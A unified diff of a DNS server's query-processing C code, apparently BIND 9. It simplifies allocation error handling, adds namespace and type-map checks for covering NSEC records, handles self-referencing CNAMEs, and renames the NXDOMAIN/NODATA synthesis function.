@@ -8040,11 +8156,14 @@ query_addanswer(query_ctx_t *qctx) {
 
 	/*
 	 * On normal lookups, clear any rdatasets that were added on a
-	 * lookup due to stale-answer-client-timeout.
+	 * lookup due to stale-answer-client-timeout. Do not clear if we
+	 * are going to refresh the RRset, because the stale contents are
+	 * prioritized.
 	 */
 	if (QUERY_STALEOK(&qctx->client->query) &&
-	    !QUERY_STALETIMEOUT(&qctx->client->query))
+	    !QUERY_STALETIMEOUT(&qctx->client->query) && !qctx->refresh_rrset)
 	{
+		CCTRACE(ISC_LOG_DEBUG(3), "query_clear_stale");
 		query_clear_stale(qctx->client);
 		/*
 		 * We can clear the attribute to prevent redundant clearing
@@ -8165,7 +8284,8 @@ query_respond(query_ctx_t *qctx) {
 		 * the authority section
 		 */
 		if (dns_name_equal(qctx->client->query.qname,
-				   dns_db_origin(qctx->db))) {
+				   dns_db_origin(qctx->db)))
+		{
 			qctx->answer_has_ns = true;
 		}
 
@@ -8290,18 +8410,11 @@ query_dns64(query_ctx_t *qctx) {
 
 	isc_netaddr_fromsockaddr(&netaddr, &client->peeraddr);
 
-	isc_buffer_allocate(client->mctx, &buffer,
+	isc_buffer_allocate(client->manager->mctx, &buffer,
 			    view->dns64cnt * 16 *
 				    dns_rdataset_count(qctx->rdataset));
-	result = dns_message_gettemprdataset(client->message, &dns64_rdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-	result = dns_message_gettemprdatalist(client->message,
-					      &dns64_rdatalist);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettemprdataset(client->message, &dns64_rdataset);
+	dns_message_gettemprdatalist(client->message, &dns64_rdatalist);
 
 	dns_rdatalist_init(dns64_rdatalist);
 	dns64_rdatalist->rdclass = dns_rdataclass_in;
@@ -8345,13 +8458,9 @@ query_dns64(query_ctx_t *qctx) {
 				continue;
 			}
 			isc_buffer_add(buffer, 16);
-			isc_buffer_remainingregion(buffer, &r);
-			isc_buffer_forward(buffer, 16);
-			result = dns_message_gettemprdata(client->message,
-							  &dns64_rdata);
-			if (result != ISC_R_SUCCESS) {
-				goto cleanup;
-			}
+			isc_buffer_remainingregion(buffer, &r);
+			isc_buffer_forward(buffer, 16);
+			dns_message_gettemprdata(client->message, &dns64_rdata);
 			dns_rdata_init(dns64_rdata);
 			dns_rdata_fromregion(dns64_rdata, dns_rdataclass_in,
 					     dns_rdatatype_aaaa, &r);
@@ -8369,10 +8478,7 @@ query_dns64(query_ctx_t *qctx) {
 		goto cleanup;
 	}
 
-	result = dns_rdatalist_tordataset(dns64_rdatalist, dns64_rdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_rdatalist_tordataset(dns64_rdatalist, dns64_rdataset);
 	dns_rdataset_setownercase(dns64_rdataset, mname);
 	client->query.attributes |= NS_QUERYATTR_NOADDITIONAL;
 	dns64_rdataset->trust = qctx->rdataset->trust;
@@ -8391,10 +8497,6 @@ query_dns64(query_ctx_t *qctx) {
 		isc_buffer_free(&buffer);
 	}
 
-	if (dns64_rdata != NULL) {
-		dns_message_puttemprdata(client->message, &dns64_rdata);
-	}
-
 	if (dns64_rdataset != NULL) {
 		dns_message_puttemprdataset(client->message, &dns64_rdataset);
 	}
@@ -8470,16 +8572,10 @@ query_filter64(query_ctx_t *qctx) {
 		client->query.attributes &= ~NS_QUERYATTR_SECURE;
 	}
 
-	isc_buffer_allocate(client->mctx, &buffer,
+	isc_buffer_allocate(client->manager->mctx, &buffer,
 			    16 * dns_rdataset_count(qctx->rdataset));
-	result = dns_message_gettemprdataset(client->message, &myrdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-	result = dns_message_gettemprdatalist(client->message, &myrdatalist);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettemprdataset(client->message, &myrdataset);
+	dns_message_gettemprdatalist(client->message, &myrdatalist);
 
 	dns_rdatalist_init(myrdatalist);
 	myrdatalist->rdclass = dns_rdataclass_in;
@@ -8499,10 +8595,7 @@ query_filter64(query_ctx_t *qctx) {
 		isc_buffer_putmem(buffer, rdata.data, rdata.length);
 		isc_buffer_remainingregion(buffer, &r);
 		isc_buffer_forward(buffer, rdata.length);
-		result = dns_message_gettemprdata(client->message, &myrdata);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
+		dns_message_gettemprdata(client->message, &myrdata);
 		dns_rdata_init(myrdata);
 		dns_rdata_fromregion(myrdata, dns_rdataclass_in,
 				     dns_rdatatype_aaaa, &r);
@@ -8514,10 +8607,7 @@ query_filter64(query_ctx_t *qctx) {
 		goto cleanup;
 	}
 
-	result = dns_rdatalist_tordataset(myrdatalist, myrdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_rdatalist_tordataset(myrdatalist, myrdataset);
 	dns_rdataset_setownercase(myrdataset, name);
 	client->query.attributes |= NS_QUERYATTR_NOADDITIONAL;
 	if (mname == name) {
@@ -8541,10 +8631,6 @@ query_filter64(query_ctx_t *qctx) {
 		isc_buffer_free(&buffer);
 	}
 
-	if (myrdata != NULL) {
-		dns_message_puttemprdata(client->message, &myrdata);
-	}
-
 	if (myrdataset != NULL) {
 		dns_message_puttemprdataset(client->message, &myrdataset);
 	}
@@ -8559,6 +8645,7 @@ query_filter64(query_ctx_t *qctx) {
 		}
 		dns_message_puttemprdatalist(client->message, &myrdatalist);
 	}
+
 	if (qctx->dbuf != NULL) {
 		ns_client_releasename(client, &name);
 	}
@@ -8704,7 +8791,7 @@ query_prepare_delegation_response(query_ctx_t *qctx) {
 	}
 
 	/*
-	 * Add a DS if needed.
+	 * Add DS/NSEC(3) record(s) if needed.
 	 */
 	query_addds(qctx);
 
@@ -8962,7 +9049,7 @@ query_delegation_recurse(query_ctx_t *qctx) {
 }
 
 /*%
- * Add a DS record if needed.
+ * Add DS/NSEC(3) record(s) if needed.
  */
 static void
 query_addds(query_ctx_t *qctx) {
@@ -8990,9 +9077,6 @@ query_addds(query_ctx_t *qctx) {
 	 */
 	rdataset = ns_client_newrdataset(client);
 	sigrdataset = ns_client_newrdataset(client);
-	if (rdataset == NULL || sigrdataset == NULL) {
-		goto cleanup;
-	}
 
 	/*
 	 * Look for the DS record, which may or may not be present.
@@ -9048,7 +9132,7 @@ query_addds(query_ctx_t *qctx) {
 	}
 
 	/*
-	 * Add the NSEC record to the delegation.
+	 * Add the relevant RRset (DS or NSEC) to the delegation.
 	 */
 	query_addrrset(qctx, &rname, &rdataset, &sigrdataset, NULL,
 		       DNS_SECTION_AUTHORITY);
@@ -9062,9 +9146,6 @@ query_addds(query_ctx_t *qctx) {
 	 * Add the NSEC3 which proves the DS does not exist.
 	 */
 	dbuf = ns_client_getnamebuf(client);
-	if (dbuf == NULL) {
-		goto cleanup;
-	}
 	fname = ns_client_newname(client, dbuf, &b);
 	dns_fixedname_init(&fixed);
 	if (dns_rdataset_isassociated(rdataset)) {
@@ -9150,22 +9231,8 @@ query_nodata(query_ctx_t *qctx, isc_result_t res) {
 		RESTORE(qctx->sigrdataset, qctx->client->query.dns64_sigaaaa);
 		if (qctx->fname == NULL) {
 			qctx->dbuf = ns_client_getnamebuf(qctx->client);
-			if (qctx->dbuf == NULL) {
-				CCTRACE(ISC_LOG_ERROR, "query_nodata: "
-						       "ns_client_getnamebuf "
-						       "failed (3)");
-				QUERY_ERROR(qctx, ISC_R_NOMEMORY);
-				return (ns_query_done(qctx));
-			}
 			qctx->fname = ns_client_newname(qctx->client,
 							qctx->dbuf, &b);
-			if (qctx->fname == NULL) {
-				CCTRACE(ISC_LOG_ERROR, "query_nodata: "
-						       "ns_client_newname "
-						       "failed (3)");
-				QUERY_ERROR(qctx, ISC_R_NOMEMORY);
-				return (ns_query_done(qctx));
-			}
 		}
 		dns_name_copy(qctx->client->query.qname, qctx->fname);
 		qctx->dns64 = false;
@@ -9208,8 +9275,7 @@ query_nodata(query_ctx_t *qctx, isc_result_t res) {
 				dns64_ttl(qctx->db, qctx->version);
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
 		SAVE(qctx->client->query.dns64_aaaa, qctx->rdataset);
@@ -9262,8 +9328,9 @@ query_sign_nodata(query_ctx_t *qctx) {
 		return (ns_query_done(qctx));
 	}
 	if (!dns_rdataset_isassociated(qctx->rdataset) &&
-	    WANTDNSSEC(qctx->client)) {
-		if ((qctx->fname->attributes & DNS_NAMEATTR_WILDCARD) == 0) {
+	    WANTDNSSEC(qctx->client))
+	{
+		if (!qctx->fname->attributes.wildcard) {
 			dns_name_t *found;
 			dns_name_t *qname;
 			dns_fixedname_t fixed;
@@ -9283,7 +9350,7 @@ query_sign_nodata(query_ctx_t *qctx) {
 			 */
 			if (dns_rdataset_isassociated(qctx->rdataset) &&
 			    !dns_name_equal(qname, found) &&
-			    (((qctx->client->sctx->options &
+			    (((qctx->client->manager->sctx->options &
 			       NS_SERVER_NONEAREST) == 0) ||
 			     qctx->qtype == dns_rdatatype_ds))
 			{
@@ -9309,7 +9376,8 @@ query_sign_nodata(query_ctx_t *qctx) {
 				fixrdataset(qctx->client, &qctx->sigrdataset);
 				if (qctx->fname == NULL ||
 				    qctx->rdataset == NULL ||
-				    qctx->sigrdataset == NULL) {
+				    qctx->sigrdataset == NULL)
+				{
 					CCTRACE(ISC_LOG_ERROR, "query_sign_"
 							       "nodata: "
 							       "failure "
@@ -9366,7 +9434,8 @@ query_sign_nodata(query_ctx_t *qctx) {
 	 * Add NSEC record if we found one.
 	 */
 	if (WANTDNSSEC(qctx->client) &&
-	    dns_rdataset_isassociated(qctx->rdataset)) {
+	    dns_rdataset_isassociated(qctx->rdataset))
+	{
 		query_addnxrrsetnsec(qctx);
 	}
 
@@ -9385,14 +9454,15 @@ query_addnxrrsetnsec(query_ctx_t *qctx) {
 
 	INSIST(qctx->fname != NULL);
 
-	if ((qctx->fname->attributes & DNS_NAMEATTR_WILDCARD) == 0) {
+	if (!qctx->fname->attributes.wildcard) {
 		query_addrrset(qctx, &qctx->fname, &qctx->rdataset,
 			       &qctx->sigrdataset, NULL, DNS_SECTION_AUTHORITY);
 		return;
 	}
 
 	if (qctx->sigrdataset == NULL ||
-	    !dns_rdataset_isassociated(qctx->sigrdataset)) {
+	    !dns_rdataset_isassociated(qctx->sigrdataset))
+	{
 		return;
 	}
 
@@ -9416,14 +9486,7 @@ query_addnxrrsetnsec(query_ctx_t *qctx) {
 	 * We'll need some resources...
 	 */
 	dbuf = ns_client_getnamebuf(client);
-	if (dbuf == NULL) {
-		return;
-	}
-
 	fname = ns_client_newname(client, dbuf, &b);
-	if (fname == NULL) {
-		return;
-	}
 
 	dns_name_split(qctx->fname, sig.labels + 1, NULL, fname);
 	/* This will succeed, since we've stripped labels. */
@@ -9489,7 +9552,9 @@ query_nxdomain(query_ctx_t *qctx, isc_result_t res) {
 	{
 		ttl = 0;
 	}
-	if (!qctx->nxrewrite || qctx->rpz_st->m.rpz->addsoa) {
+	if (!qctx->nxrewrite ||
+	    (qctx->rpz_st != NULL && qctx->rpz_st->m.rpz->addsoa))
+	{
 		result = query_addsoa(qctx, ttl, section);
 		if (result != ISC_R_SUCCESS) {
 			QUERY_ERROR(qctx, result);
@@ -9656,7 +9721,6 @@ query_synthnodata(query_ctx_t *qctx, const dns_name_t *signer,
 	dns_name_t *name = NULL;
 	dns_ttl_t ttl;
 	isc_buffer_t *dbuf, b;
-	isc_result_t result;
 
 	/*
 	 * Determine the correct TTL to use for the SOA and RRSIG
@@ -9676,17 +9740,7 @@ query_synthnodata(query_ctx_t *qctx, const dns_name_t *signer,
 	}
 
 	dbuf = ns_client_getnamebuf(qctx->client);
-	if (dbuf == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
 	name = ns_client_newname(qctx->client, dbuf, &b);
-	if (name == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
 	dns_name_copy(signer, name);
 
 	/*
@@ -9706,14 +9760,12 @@ query_synthnodata(query_ctx_t *qctx, const dns_name_t *signer,
 			       &qctx->sigrdataset, NULL, DNS_SECTION_AUTHORITY);
 	}
 
-	result = ISC_R_SUCCESS;
 	inc_stats(qctx->client, ns_statscounter_nodatasynth);
 
-cleanup:
 	if (name != NULL) {
 		ns_client_releasename(qctx->client, &name);
 	}
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 /*
@@ -9725,7 +9777,6 @@ query_synthwildcard(query_ctx_t *qctx, dns_rdataset_t *rdataset,
 		    dns_rdataset_t *sigrdataset) {
 	dns_name_t *name = NULL;
 	isc_buffer_t *dbuf, b;
-	isc_result_t result;
 	dns_rdataset_t *cloneset = NULL, *clonesigset = NULL;
 	dns_rdataset_t **sigrdatasetp;
 
@@ -9742,23 +9793,10 @@ query_synthwildcard(query_ctx_t *qctx, dns_rdataset_t *rdataset,
 	}
 
 	dbuf = ns_client_getnamebuf(qctx->client);
-	if (dbuf == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
 	name = ns_client_newname(qctx->client, dbuf, &b);
-	if (name == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
 	dns_name_copy(qctx->client->query.qname, name);
 
 	cloneset = ns_client_newrdataset(qctx->client);
-	if (cloneset == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
 	dns_rdataset_clone(rdataset, cloneset);
 
 	/*
@@ -9766,10 +9804,6 @@ query_synthwildcard(query_ctx_t *qctx, dns_rdataset_t *rdataset,
 	 */
 	if (WANTDNSSEC(qctx->client)) {
 		clonesigset = ns_client_newrdataset(qctx->client);
-		if (clonesigset == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
 		dns_rdataset_clone(sigrdataset, clonesigset);
 		sigrdatasetp = &clonesigset;
 	} else {
@@ -9787,10 +9821,8 @@ query_synthwildcard(query_ctx_t *qctx, dns_rdataset_t *rdataset,
 			       &qctx->sigrdataset, NULL, DNS_SECTION_AUTHORITY);
 	}
 
-	result = ISC_R_SUCCESS;
 	inc_stats(qctx->client, ns_statscounter_wildcardsynth);
 
-cleanup:
 	if (name != NULL) {
 		ns_client_releasename(qctx->client, &name);
 	}
@@ -9800,7 +9832,7 @@ query_synthwildcard(query_ctx_t *qctx, dns_rdataset_t *rdataset,
 	if (clonesigset != NULL) {
 		ns_client_putrdataset(qctx->client, &clonesigset);
 	}
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 /*
@@ -9827,10 +9859,7 @@ query_synthcnamewildcard(query_ctx_t *qctx, dns_rdataset_t *rdataset,
 	 * Reset qname to be the target name of the CNAME and restart
 	 * the query.
 	 */
-	result = dns_message_gettempname(qctx->client->message, &tname);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_message_gettempname(qctx->client->message, &tname);
 
 	result = dns_rdataset_first(rdataset);
 	if (result != ISC_R_SUCCESS) {
@@ -9843,6 +9872,12 @@ query_synthcnamewildcard(query_ctx_t *qctx, dns_rdataset_t *rdataset,
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	dns_rdata_reset(&rdata);
 
+	if (dns_name_equal(qctx->client->query.qname, &cname.cname)) {
+		dns_message_puttempname(qctx->client->message, &tname);
+		dns_rdata_freestruct(&cname);
+		return (ISC_R_SUCCESS);
+	}
+
 	dns_name_copy(&cname.cname, tname);
 
 	dns_rdata_freestruct(&cname);
@@ -9856,21 +9891,21 @@ query_synthcnamewildcard(query_ctx_t *qctx, dns_rdataset_t *rdataset,
 }
 
 /*
- * Synthesize a NXDOMAIN response from qctx (which contains the
- * NODATA proof), nowild + nowildrdataset + signowildrdataset (which
- * contains the NOWILDCARD proof) and signer + soardatasetp + sigsoardatasetp
- * which contain the SOA record + RRSIG for the negative answer.
+ * Synthesize a NXDOMAIN or NODATA response from qctx (which contains the
+ * NOQNAME proof), nowild + nowildrdataset + signowildrdataset (which
+ * contains the NOWILDCARD proof or NODATA at wildcard) and
+ * signer + soardatasetp + sigsoardatasetp which contain the
+ * SOA record + RRSIG for the negative answer.
  */
 static isc_result_t
-query_synthnxdomain(query_ctx_t *qctx, dns_name_t *nowild,
-		    dns_rdataset_t *nowildrdataset,
-		    dns_rdataset_t *signowildrdataset, dns_name_t *signer,
-		    dns_rdataset_t **soardatasetp,
-		    dns_rdataset_t **sigsoardatasetp) {
+query_synthnxdomainnodata(query_ctx_t *qctx, bool nodata, dns_name_t *nowild,
+			  dns_rdataset_t *nowildrdataset,
+			  dns_rdataset_t *signowildrdataset, dns_name_t *signer,
+			  dns_rdataset_t **soardatasetp,
+			  dns_rdataset_t **sigsoardatasetp) {
 	dns_name_t *name = NULL;
 	dns_ttl_t ttl;
 	isc_buffer_t *dbuf, b;
-	isc_result_t result;
 	dns_rdataset_t *cloneset = NULL, *clonesigset = NULL;
 
 	CCTRACE(ISC_LOG_DEBUG(3), "query_synthnxdomain");
@@ -9894,17 +9929,7 @@ query_synthnxdomain(query_ctx_t *qctx, dns_name_t *nowild,
 	}
 
 	dbuf = ns_client_getnamebuf(qctx->client);
-	if (dbuf == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
 	name = ns_client_newname(qctx->client, dbuf, &b);
-	if (name == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
 	dns_name_copy(signer, name);
 
 	/*
@@ -9924,25 +9949,11 @@ query_synthnxdomain(query_ctx_t *qctx, dns_name_t *nowild,
 			       &qctx->sigrdataset, NULL, DNS_SECTION_AUTHORITY);
 
 		dbuf = ns_client_getnamebuf(qctx->client);
-		if (dbuf == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-
 		name = ns_client_newname(qctx->client, dbuf, &b);
-		if (name == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-
 		dns_name_copy(nowild, name);
 
 		cloneset = ns_client_newrdataset(qctx->client);
 		clonesigset = ns_client_newrdataset(qctx->client);
-		if (cloneset == NULL || clonesigset == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
 
 		dns_rdataset_clone(nowildrdataset, cloneset);
 		dns_rdataset_clone(signowildrdataset, clonesigset);
@@ -9954,11 +9965,13 @@ query_synthnxdomain(query_ctx_t *qctx, dns_name_t *nowild,
 			       DNS_SECTION_AUTHORITY);
 	}
 
-	qctx->client->message->rcode = dns_rcode_nxdomain;
-	result = ISC_R_SUCCESS;
-	inc_stats(qctx->client, ns_statscounter_nxdomainsynth);
+	if (nodata) {
+		inc_stats(qctx->client, ns_statscounter_nodatasynth);
+	} else {
+		qctx->client->message->rcode = dns_rcode_nxdomain;
+		inc_stats(qctx->client, ns_statscounter_nxdomainsynth);
+	}
 
-cleanup:
 	if (name != NULL) {
 		ns_client_releasename(qctx->client, &name);
 	}
@@ -9968,7 +9981,7 @@ query_synthnxdomain(query_ctx_t *qctx, dns_name_t *nowild,
 	if (clonesigset != NULL) {
 		ns_client_putrdataset(qctx->client, &clonesigset);
 	}
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 /*
@@ -10025,13 +10038,16 @@ query_coveringnsec(query_ctx_t *qctx) {
 	dns_clientinfomethods_t cm;
 	dns_dbnode_t *node = NULL;
 	dns_fixedname_t fixed;
+	dns_fixedname_t fnamespace;
 	dns_fixedname_t fnowild;
 	dns_fixedname_t fsigner;
 	dns_fixedname_t fwild;
 	dns_name_t *fname = NULL;
+	dns_name_t *namespace = NULL;
 	dns_name_t *nowild = NULL;
 	dns_name_t *signer = NULL;
 	dns_name_t *wild = NULL;
+	dns_name_t qname;
 	dns_rdataset_t *soardataset = NULL, *sigsoardataset = NULL;
 	dns_rdataset_t rdataset, sigrdataset;
 	bool done = false;
@@ -10039,11 +10055,29 @@ query_coveringnsec(query_ctx_t *qctx) {
 	bool redirected = false;
 	isc_result_t result = ISC_R_SUCCESS;
 	unsigned int dboptions = qctx->client->query.dboptions;
+	unsigned int labels;
 
 	CCTRACE(ISC_LOG_DEBUG(3), "query_coveringnsec");
 
+	dns_name_init(&qname, NULL);
 	dns_rdataset_init(&rdataset);
 	dns_rdataset_init(&sigrdataset);
+	namespace = dns_fixedname_initname(&fnamespace);
+
+	/*
+	 * Check that the NSEC record is from the correct namespace.
+	 * For records that belong to the parent zone (i.e. DS),
+	 * remove a label to find the correct namespace.
+	 */
+	dns_name_clone(qctx->client->query.qname, &qname);
+	labels = dns_name_countlabels(&qname);
+	if (dns_rdatatype_atparent(qctx->qtype) && labels > 1) {
+		dns_name_getlabelsequence(&qname, 1, labels - 1, &qname);
+	}
+	dns_view_sfd_find(qctx->view, &qname, namespace);
+	if (!dns_name_issubdomain(qctx->fname, namespace)) {
+		goto cleanup;
+	}
 
 	/*
 	 * If we have no signer name, stop immediately.
@@ -10069,6 +10103,14 @@ query_coveringnsec(query_ctx_t *qctx) {
 		goto cleanup;
 	}
 
+	/*
+	 * If NSEC or RRSIG are missing from the type map
+	 * reject the NSEC RRset.
+	 */
+	if (!dns_nsec_requiredtypespresent(qctx->rdataset)) {
+		goto cleanup;
+	}
+
 	/*
 	 * Check that we have the correct NOQNAME NSEC record.
 	 */
@@ -10098,9 +10140,6 @@ query_coveringnsec(query_ctx_t *qctx) {
 
 		soardataset = ns_client_newrdataset(qctx->client);
 		sigsoardataset = ns_client_newrdataset(qctx->client);
-		if (soardataset == NULL || sigsoardataset == NULL) {
-			goto cleanup;
-		}
 
 		/*
 		 * Look for SOA record to construct NODATA response.
@@ -10130,7 +10169,8 @@ query_coveringnsec(query_ctx_t *qctx) {
 				&rdataset, &sigrdataset);
 
 	if (rdataset.trust != dns_trust_secure ||
-	    sigrdataset.trust != dns_trust_secure) {
+	    sigrdataset.trust != dns_trust_secure)
+	{
 		goto cleanup;
 	}
 
@@ -10152,7 +10192,7 @@ query_coveringnsec(query_ctx_t *qctx) {
 		{
 			goto cleanup;
 		}
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case DNS_R_CNAME:
 		if (!qctx->resuming && !STALE(&rdataset) && rdataset.ttl == 0 &&
 		    RECURSIONOK(qctx->client))
@@ -10165,10 +10205,17 @@ query_coveringnsec(query_ctx_t *qctx) {
 
 	switch (result) {
 	case DNS_R_COVERINGNSEC:
+		/*
+		 * Check that the covering NSEC record is from the right
+		 * namespace.
+		 */
+		if (!dns_name_issubdomain(nowild, namespace)) {
+			goto cleanup;
+		}
 		result = dns_nsec_noexistnodata(qctx->qtype, wild, nowild,
 						&rdataset, &exists, &data, NULL,
 						log_noexistnodata, qctx);
-		if (result != ISC_R_SUCCESS || exists) {
+		if (result != ISC_R_SUCCESS || (exists && data)) {
 			goto cleanup;
 		}
 		break;
@@ -10218,9 +10265,6 @@ query_coveringnsec(query_ctx_t *qctx) {
 
 	soardataset = ns_client_newrdataset(qctx->client);
 	sigsoardataset = ns_client_newrdataset(qctx->client);
-	if (soardataset == NULL || sigsoardataset == NULL) {
-		goto cleanup;
-	}
 
 	/*
 	 * Look for SOA record to construct NXDOMAIN response.
@@ -10232,9 +10276,9 @@ query_coveringnsec(query_ctx_t *qctx) {
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
-
-	(void)query_synthnxdomain(qctx, nowild, &rdataset, &sigrdataset, signer,
-				  &soardataset, &sigsoardataset);
+	(void)query_synthnxdomainnodata(qctx, exists, nowild, &rdataset,
+					&sigrdataset, signer, &soardataset,
+					&sigsoardataset);
 	done = true;
 
 cleanup:
@@ -10388,7 +10432,7 @@ query_cname(query_ctx_t *qctx) {
 
 	result = query_zerottl_refetch(qctx);
 	if (result != ISC_R_COMPLETE) {
-		return (result);
+		goto cleanup;
 	}
 
 	/*
@@ -10405,9 +10449,7 @@ query_cname(query_ctx_t *qctx) {
 		sigrdatasetp = &qctx->sigrdataset;
 	}
 
-	if (WANTDNSSEC(qctx->client) &&
-	    (qctx->fname->attributes & DNS_NAMEATTR_WILDCARD) != 0)
-	{
+	if (WANTDNSSEC(qctx->client) && qctx->fname->attributes.wildcard) {
 		dns_fixedname_init(&qctx->wildcardname);
 		dns_name_copy(qctx->fname,
 			      dns_fixedname_name(&qctx->wildcardname));
@@ -10439,15 +10481,13 @@ query_cname(query_ctx_t *qctx) {
 	 * Reset qname to be the target name of the CNAME and restart
 	 * the query.
 	 */
-	result = dns_message_gettempname(qctx->client->message, &tname);
-	if (result != ISC_R_SUCCESS) {
-		return (ns_query_done(qctx));
-	}
+	dns_message_gettempname(qctx->client->message, &tname);
 
 	result = dns_rdataset_first(trdataset);
 	if (result != ISC_R_SUCCESS) {
 		dns_message_puttempname(qctx->client->message, &tname);
-		return (ns_query_done(qctx));
+		(void)ns_query_done(qctx);
+		goto cleanup;
 	}
 
 	dns_rdataset_current(trdataset, &rdata);
@@ -10516,9 +10556,7 @@ query_dname(query_ctx_t *qctx) {
 		sigrdatasetp = &qctx->sigrdataset;
 	}
 
-	if (WANTDNSSEC(qctx->client) &&
-	    (qctx->fname->attributes & DNS_NAMEATTR_WILDCARD) != 0)
-	{
+	if (WANTDNSSEC(qctx->client) && qctx->fname->attributes.wildcard) {
 		dns_fixedname_init(&qctx->wildcardname);
 		dns_name_copy(qctx->fname,
 			      dns_fixedname_name(&qctx->wildcardname));
@@ -10541,15 +10579,13 @@ query_dname(query_ctx_t *qctx) {
 	 * Get the target name of the DNAME.
 	 */
 	tname = NULL;
-	result = dns_message_gettempname(qctx->client->message, &tname);
-	if (result != ISC_R_SUCCESS) {
-		return (ns_query_done(qctx));
-	}
+	dns_message_gettempname(qctx->client->message, &tname);
 
 	result = dns_rdataset_first(trdataset);
 	if (result != ISC_R_SUCCESS) {
 		dns_message_puttempname(qctx->client->message, &tname);
-		return (ns_query_done(qctx));
+		(void)ns_query_done(qctx);
+		goto cleanup;
 	}
 
 	dns_rdataset_current(trdataset, &rdata);
@@ -10568,15 +10604,7 @@ query_dname(query_ctx_t *qctx) {
 	dns_name_split(qctx->client->query.qname, nlabels, prefix, NULL);
 	INSIST(qctx->fname == NULL);
 	qctx->dbuf = ns_client_getnamebuf(qctx->client);
-	if (qctx->dbuf == NULL) {
-		dns_message_puttempname(qctx->client->message, &tname);
-		return (ns_query_done(qctx));
-	}
 	qctx->fname = ns_client_newname(qctx->client, qctx->dbuf, &b);
-	if (qctx->fname == NULL) {
-		dns_message_puttempname(qctx->client->message, &tname);
-		return (ns_query_done(qctx));
-	}
 	result = dns_name_concatenate(prefix, tname, qctx->fname, NULL);
 	dns_message_puttempname(qctx->client->message, &tname);
 
@@ -10589,7 +10617,8 @@ query_dname(query_ctx_t *qctx) {
 		qctx->client->message->rcode = dns_rcode_yxdomain;
 	}
 	if (result != ISC_R_SUCCESS) {
-		return (ns_query_done(qctx));
+		(void)ns_query_done(qctx);
+		goto cleanup;
 	}
 
 	ns_client_keepname(qctx->client, qctx->fname, qctx->dbuf);
@@ -10608,17 +10637,15 @@ query_dname(query_ctx_t *qctx) {
 	 * on-the-fly is costly, and not really legitimate anyway
 	 * since the synthesized CNAME is NOT in the zone.
 	 */
-	result = query_addcname(qctx, trdataset->trust, trdataset->ttl);
-	if (result != ISC_R_SUCCESS) {
-		return (ns_query_done(qctx));
-	}
+	query_addcname(qctx, trdataset->trust, trdataset->ttl);
 
 	/*
 	 * If the original query was not for a CNAME or ANY then follow the
 	 * CNAME.
 	 */
 	if (qctx->qtype != dns_rdatatype_cname &&
-	    qctx->qtype != dns_rdatatype_any) {
+	    qctx->qtype != dns_rdatatype_any)
+	{
 		/*
 		 * Switch to the new qname and restart.
 		 */
@@ -10641,7 +10668,7 @@ query_dname(query_ctx_t *qctx) {
 /*%
  * Add CNAME to response.
  */
-static isc_result_t
+static void
 query_addcname(query_ctx_t *qctx, dns_trust_t trust, dns_ttl_t ttl) {
 	ns_client_t *client = qctx->client;
 	dns_rdataset_t *rdataset = NULL;
@@ -10649,35 +10676,16 @@ query_addcname(query_ctx_t *qctx, dns_trust_t trust, dns_ttl_t ttl) {
 	dns_rdata_t *rdata = NULL;
 	isc_region_t r;
 	dns_name_t *aname = NULL;
-	isc_result_t result;
 
-	result = dns_message_gettempname(client->message, &aname);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_message_gettempname(client->message, &aname);
 
 	dns_name_copy(client->query.qname, aname);
 
-	result = dns_message_gettemprdatalist(client->message, &rdatalist);
-	if (result != ISC_R_SUCCESS) {
-		dns_message_puttempname(client->message, &aname);
-		return (result);
-	}
+	dns_message_gettemprdatalist(client->message, &rdatalist);
 
-	result = dns_message_gettemprdata(client->message, &rdata);
-	if (result != ISC_R_SUCCESS) {
-		dns_message_puttempname(client->message, &aname);
-		dns_message_puttemprdatalist(client->message, &rdatalist);
-		return (result);
-	}
+	dns_message_gettemprdata(client->message, &rdata);
 
-	result = dns_message_gettemprdataset(client->message, &rdataset);
-	if (result != ISC_R_SUCCESS) {
-		dns_message_puttempname(client->message, &aname);
-		dns_message_puttemprdatalist(client->message, &rdatalist);
-		dns_message_puttemprdata(client->message, &rdata);
-		return (result);
-	}
+	dns_message_gettemprdataset(client->message, &rdataset);
 
 	rdatalist->type = dns_rdatatype_cname;
 	rdatalist->rdclass = client->message->rdclass;
@@ -10690,8 +10698,7 @@ query_addcname(query_ctx_t *qctx, dns_trust_t trust, dns_ttl_t ttl) {
 	rdata->type = dns_rdatatype_cname;
 
 	ISC_LIST_APPEND(rdatalist->rdata, rdata, link);
-	RUNTIME_CHECK(dns_rdatalist_tordataset(rdatalist, rdataset) ==
-		      ISC_R_SUCCESS);
+	dns_rdatalist_tordataset(rdatalist, rdataset);
 	rdataset->trust = trust;
